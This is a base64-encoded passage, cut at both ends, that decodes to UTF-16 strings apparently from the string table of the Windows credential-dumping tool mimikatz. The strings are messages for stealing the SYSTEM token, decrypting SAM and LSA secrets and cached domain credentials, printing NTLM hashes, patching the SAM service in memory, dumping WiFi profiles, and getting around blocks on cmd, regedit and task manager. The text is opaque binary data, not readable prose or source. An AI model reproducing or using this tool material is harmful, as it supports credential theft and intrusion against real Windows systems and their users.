QAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAEEAcgBnAHUAbQBlAG4AdAAgAC8AcAByAG8AYwBlAHMAcwA6AHAAcgBvAGcAcgBhAG0ALgBlAHgAZQAgAG8AcgAgAC8AcABpAGQAOgBwAHIAbwBjAGUAcwBzAGkAZAAgAG4AZQBlAGQAZQBkAAoAAAAAAAAAAABQAEkARAAgACUAdQAgAC0APgAgACUAMAAyAHgALwAlADAAMgB4ACAAWwAlADEAeAAtACUAMQB4AC0AJQAxAHgAXQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAATgBvACAAUABJAEQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAUAByAG8AdABlAGMAdABlAGQAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAgAGIAZQBmAG8AcgBlACAAVwBpAG4AZABvAHcAcwAgAFYAaQBzAHQAYQAKAAAAAABmAHIAbwBtAAAAAAB0AG8AAAAAAAAAAABUAG8AawBlAG4AIABmAHIAbwBtACAAcAByAG8AYwBlAHMAcwAgACUAdQAgAHQAbwAgAHAAcgBvAGMAZQBzAHMAIAAlAHUACgAAAAAAAAAAACAAKgAgAGYAcgBvAG0AIAAwACAAdwBpAGwAbAAgAHQAYQBrAGUAIABTAFkAUwBUAEUATQAgAHQAbwBrAGUAbgAKAAAAAAAAAAAAAAAAAAAAIAAqACAAdABvACAAMAAgAHcAaQBsAGwAIAB0AGEAawBlACAAYQBsAGwAIAAnAGMAbQBkACcAIABhAG4AZAAgACcAbQBpAG0AaQBrAGEAdAB6ACcAIABwAHIAbwBjAGUAcwBzAAoAAABEAGEAdABhAAAAAAAAAAAARwBCAEcAAABTAGsAZQB3ADEAAABKAEQAAAAAAAAAAABEAGUAZgBhAHUAbAB0AAAAQwB1AHIAcgBlAG4AdAAAAAAAAAAAAAAAQQBzAGsAIABTAEEATQAgAFMAZQByAHYAaQBjAGUAIAB0AG8AIAByAGUAdAByAGkAZQB2AGUAIABTAEEATQAgAGUAbgB0AHIAaQBlAHMAIAAoAHAAYQB0AGMAaAAgAG8AbgAgAHQAaABlACAAZgBsAHkAKQAAAAAAcwBhAG0AcgBwAGMAAAAAAAAAAAAAAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAE4ATAAkAEsATQAgAHQAaABlAG4AIABNAFMAQwBhAGMAaABlACgAdgAyACkAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAAAABjAGEAYwBoAGUAAAAAAAAAAAAAAAAAAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAUwBFAEMAUgBFAFQAUwAgAGUAbgB0AHIAaQBlAHMAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAAcwBlAGMAcgBlAHQAcwAAAAAAAAAAAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAFMAQQBNACAAZQBuAHQAcgBpAGUAcwAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAAABzAGEAbQAAAEwAcwBhAEQAdQBtAHAAIABtAG8AZAB1AGwAZQAAAAAAbABzAGEAZAB1AG0AcAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBZAFMAVABFAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAEEATQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABTAFkAUwBUAEUATQAAAAAAUwBBAE0AAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAKABTAEEATQApACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBFAEMAVQBSAEkAVABZACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAWQBTAFQARQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABTAEUAQwBVAFIASQBUAFkAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgACgAUwBFAEMAVQBSAEkAVABZACkAIAAoADAAeAAlADAAOAB4ACkACgAAAEMAbwBuAHQAcgBvAGwAUwBlAHQAMAAwADAAAAAAAAAAUwBlAGwAZQBjAHQAAAAAACUAMAAzAHUAAAAAACUAeAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwB5AHMAawBlAHkAIAA7ACAATABTAEEAIABLAGUAeQAgAEMAbABhAHMAcwAgAHIAZQBhAGQAIABlAHIAcgBvAHIACgAAAAAARABvAG0AYQBpAG4AIAA6ACAAAAAAAAAAQwBvAG4AdAByAG8AbABcAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAFwAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAAAAAAAAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAAAAAAAAAAAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAIABLAE8ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABwAHIAZQAgAC0AIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAIABLAE8ACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlACAASwBPAAoAAAAAAAAAUwB5AHMASwBlAHkAIAA6ACAAAAAAAAAAQwBvAG4AdAByAG8AbABcAEwAUwBBAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwB5AHMAawBlAHkAIABLAE8ACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABMAFMAQQAgAEsATwAKAAAAAAAAAAAAUwBBAE0AXABEAG8AbQBhAGkAbgBzAFwAQQBjAGMAbwB1AG4AdAAAAFUAcwBlAHIAcwAAAAAAAABOAGEAbQBlAHMAAAAAAAAACgBSAEkARAAgACAAOgAgACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAFYAAAAAAAAAVQBzAGUAcgAgADoAIAAlAC4AKgBzAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAFYAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAVQBzAGUAcgBzAEEAbgBkAFMAYQBtAEsAZQB5ACAAOwAgAHAAcgBlACAALQAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABWACAASwBPAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASwBlACAASwBPAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAFMAQQBNACAAQQBjAGMAbwB1AG4AdABzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABOAFQATABNAAAAAAAAAAAATABNACAAIAAAAAAAAAAAACUAcwAgADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABIAGEAcwBoACAAOwAgAFIAdABsAEQAZQBjAHIAeQBwAHQARABFAFMAMgBiAGwAbwBjAGsAcwAxAEQAVwBPAFIARAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEgAYQBzAGgAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AEEAUgBDADQAAAAAAAAAAAAKAFMAQQBNAEsAZQB5ACAAOgAgAAAAAABGAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAYQBtAEsAZQB5ACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABBAFIAQwA0ACAASwBPAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEYAIABLAE8AAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEYAIABLAE8AAABQAG8AbABpAGMAeQAAAAAAUABvAGwAUgBlAHYAaQBzAGkAbwBuAAAACgBQAG8AbABpAGMAeQAgAHMAdQBiAHMAeQBzAHQAZQBtACAAaQBzACAAOgAgACUAaAB1AC4AJQBoAHUACgAAAFAAbwBsAEUASwBMAGkAcwB0AAAAAAAAAFAAbwBsAFMAZQBjAHIAZQB0AEUAbgBjAHIAeQBwAHQAaQBvAG4ASwBlAHkAAAAAAEwAUwBBACAASwBlAHkAKABzACkAIAA6ACAAJQB1ACwAIABkAGUAZgBhAHUAbAB0ACAAAAAAAAAAIAAgAFsAJQAwADIAdQBdACAAAAAgAAAATABTAEEAIABLAGUAeQAgADoAIAAAAAAAUwBlAGMAcgBlAHQAcwAAAHMAZQByAHYAaQBjAGUAcwAAAAAAAAAAAAoAUwBlAGMAcgBlAHQAIAAgADoAIAAlAHMAAAAAAAAAXwBTAEMAXwAAAAAAAAAAAEMAdQByAHIAVgBhAGwAAAAkAE0AQQBDAEgASQBOAEUALgBBAEMAQwAAAAAAAAAAAAoAKgAqAE4AVABMAE0AKgAqADoAIAAAAAoAYwB1AHIALwAAAAAAAABPAGwAZABWAGEAbAAAAAAACgBvAGwAZAAvAAAAAAAAAFMAZQBjAHIAZQB0AHMAXABOAEwAJABLAE0AXABDAHUAcgByAFYAYQBsAAAAAAAAAEMAYQBjAGgAZQAAAAAAAABOAEwAJABJAHQAZQByAGEAdABpAG8AbgBDAG8AdQBuAHQAAAAAAAAAAAAAAAAAAAAqACAATgBMACQASQB0AGUAcgBhAHQAaQBvAG4AQwBvAHUAbgB0ACAAaQBzACAAJQB1ACwAIAAlAHUAIAByAGUAYQBsACAAaQB0AGUAcgBhAHQAaQBvAG4AKABzACkACgAAAAAAAAAAACoAIABEAEMAQwAxACAAbQBvAGQAZQAgACEACgAAAAAAAAAAAAAAAAAqACAASQB0AGUAcgBhAHQAaQBvAG4AIABpAHMAIABzAGUAdAAgAHQAbwAgAGQAZQBmAGEAdQBsAHQAIAAoADEAMAAyADQAMAApAAoAAAAAAE4ATAAkAEMAbwBuAHQAcgBvAGwAAAAAAAoAWwAlAHMAIAAtACAAAABdAAoAUgBJAEQAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAEMAcgB5AHAAdABTAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABSAEMANAAgADoAIAAwAHgAJQAwADgAeAAKAAAAVQBzAGUAcgAgACAAIAAgACAAIAA6ACAAJQAuACoAcwBcACUALgAqAHMACgAAAAAATQBzAEMAYQBjAGgAZQBWACUAYwAgADoAIAAAAAAAAABPAGIAagBlAGMAdABOAGEAbQBlAAAAAAAgAC8AIABzAGUAcgB2AGkAYwBlACAAJwAlAHMAJwAgAHcAaQB0AGgAIAB1AHMAZQByAG4AYQBtAGUAIAA6ACAAJQBzAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAZQBjAHIAeQBwAHQAUwBlAGMAcgBlAHQAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAFMAZQBjAHIAZQB0ACAAdgBhAGwAdQBlACAASwBPAAoAAAAAAAAAdABlAHgAdAA6ACAAJQB3AFoAAAAAAAAAaABlAHgAIAA6ACAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAXwBhAGUAcwAyADUANgAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABwAGEAdABjAGgAAAAAAAAAUwBhAG0AUwBzAAAAAAAAAHMAYQBtAHMAcgB2AC4AZABsAGwAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtAHIAcABjACAAOwAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQByAHAAYwAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQByAHAAYwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AcgBwAGMAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARABvAG0AYQBpAG4AIAA6ACAAJQB3AFoAIAAvACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQByAHAAYwAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABJAGQAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtAHIAcABjACAAOwAgACcAJQBzACcAIABpAHMAIABuAG8AdAAgAGEAIAB2AGEAbABpAGQAIABJAGQACgAAAAAAAABuAGEAbQBlAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AcgBwAGMAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAATgBhAG0AZQBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQByAHAAYwAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBVAHMAZQByAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtAHIAcABjACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQByAHAAYwAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAAAAKAFIASQBEACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgBVAHMAZQByACAAOgAgACUAdwBaAAoAAAAAAAAATABNACAAIAAgADoAIAAAAAoATgBUAEwATQAgADoAIAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AcgBwAGMAXwB1AHMAZQByACAAOwAgAFMAYQBtAFEAdQBlAHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AVQBzAGUAcgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AcgBwAGMAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgACgAAAAAAAAAAAGEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG4AZwAAAAAAZABpAHMAYwBvAHYAZQByAGkAbgBnAAAAYQBzAHMAbwBjAGkAYQB0AGkAbgBnAAAAZABpAHMAYwBvAG4AbgBlAGMAdABlAGQAAAAAAAAAAABkAGkAcwBjAG8AbgBuAGUAYwB0AGkAbgBnAAAAAAAAAGEAZABfAGgAbwBjAF8AbgBlAHQAdwBvAHIAawBfAGYAbwByAG0AZQBkAAAAAAAAAGMAbwBuAG4AZQBjAHQAZQBkAAAAAAAAAG4AbwB0AF8AcgBlAGEAZAB5AAAAAAAAAHcAaQBmAGkAAAAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABUAHIAeQAgAHQAbwAgAGUAbgB1AG0AZQByAGEAdABlACAAYQBsAGwAIABtAG8AZAB1AGwAZQBzACAAdwBpAHQAaAAgAEQAZQB0AG8AdQByAHMALQBsAGkAawBlACAAaABvAG8AawBzAAAAZABlAHQAbwB1AHIAcwAAAAAAAAAAAAAASgB1AG4AaQBwAGUAcgAgAE4AZQB0AHcAbwByAGsAIABDAG8AbgBuAGUAYwB0ACAAKAB3AGkAdABoAG8AdQB0ACAAcgBvAHUAdABlACAAbQBvAG4AaQB0AG8AcgBpAG4AZwApAAAAAABuAGMAcgBvAHUAdABlAG0AbwBuAAAAAABUAGEAcwBrACAATQBhAG4AYQBnAGUAcgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAKQAAAAAAAAAAAHQAYQBzAGsAbQBnAHIAAAAAAAAAAAAAAFIAZQBnAGkAcwB0AHIAeQAgAEUAZABpAHQAbwByACAAIAAgACAAIAAgACAAIAAgACgAdwBpAHQAaABvAHUAdAAgAEQAaQBzAGEAYgBsAGUAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwApAAAAAAByAGUAZwBlAGQAaQB0AAAAQwBvAG0AbQBhAG4AZAAgAFAAcgBvAG0AcAB0ACAAIAAgACAAIAAgACAAIAAgACAAKAB3AGkAdABoAG8AdQB0ACAARABpAHMAYQBiAGwAZQBDAE0ARAApAAAAAAAAAAAAYwBtAGQAAABNAGkAcwBjAGUAbABsAGEAbgBlAG8AdQBzACAAbQBvAGQAdQBsAGUAAAAAAAAAAABtAGkAcwBjAAAAAAAAAAAAdwBsAGEAbgBhAHAAaQAAAFdsYW5PcGVuSGFuZGxlAABXbGFuQ2xvc2VIYW5kbGUAV2xhbkVudW1JbnRlcmZhY2VzAAAAAAAAV2xhbkdldFByb2ZpbGVMaXN0AAAAAAAAV2xhbkdldFByb2ZpbGUAAFdsYW5GcmVlTWVtb3J5AABLAGkAdwBpAEEAbgBkAEMATQBEAAAAAABEAGkAcwBhAGIAbABlAEMATQBEAAAAAABjAG0AZAAuAGUAeABlAAAASwBpAHcAaQBBAG4AZABSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzAAAAAAAAAAAARABpAHMAYQBiAGwAZQBSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzAAAAAAAAAAAAcgBlAGcAZQBkAGkAdAAuAGUAeABlAAAASwBpAHcAaQBBAG4AZABUAGEAcwBrAE0AZwByAAAAAABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAAAAAAHQAYQBzAGsAbQBnAHIALgBlAHgAZQAAAGQAcwBOAGMAUwBlAHIAdgBpAGMAZQAAAAkAKAAlAHcAWgApAAAAAAAJAFsAJQB1AF0AIAAlAHcAWgAgACEAIAAAAAAAAAAAACUALQAzADIAUwAAAAAAAAAjACAAJQB1AAAAAAAAAAAACQAgACUAcAAgAC0APgAgACUAcAAAAAAAJQB3AFoAIAAoACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZABlAHQAbwB1AHIAcwBfAGMAYQBsAGwAYgBhAGMAawBfAHAAcgBvAGMAZQBzAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAUABhAHQAYwBoACAATwBLACAAZgBvAHIAIAAnACUAcwAnACAAZgByAG8AbQAgACcAJQBzACcAIAB0AG8AIAAnACUAcwAnACAAQAAgACUAcAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZwBlAG4AZQByAGkAYwBfAG4AbwBnAHAAbwBfAHAAYQB0AGMAaAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAgACoAIAAAACAALwAgACUAcwAgAC0AIAAlAHMACgAAAAkAfAAgACUAcwAKAAAAAABnAHIAbwB1AHAAAAAAAAAAbABvAGMAYQBsAGcAcgBvAHUAcAAAAAAAbgBlAHQAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAQgB1AGkAbAB0AGkAbgAgACgAPwApACAAJQAwADgAeAAKAAAACgBEAG8AbQBhAGkAbgAgAG4AYQBtAGUAIAA6ACAAJQB3AFoAAAAAAAoARABvAG0AYQBpAG4AIABTAEkARAAgACAAOgAgAAAACgAgACUALQA1AHUAIAAlAHcAWgAAAAAACgAgAHwAIAAlAC0ANQB1ACAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABJAGQAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARwBlAHQARwByAG8AdQBwAHMARgBvAHIAVQBzAGUAcgAgACUAMAA4AHgAAAAAAAAAAAAKACAAfABgACUALQA1AHUAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBHAGUAdABBAGwAaQBhAHMATQBlAG0AYgBlAHIAcwBoAGkAcAAgACUAMAA4AHgAAAAAAAoAIAB8ALQAJQAtADUAdQAgAAAAAAAAAEU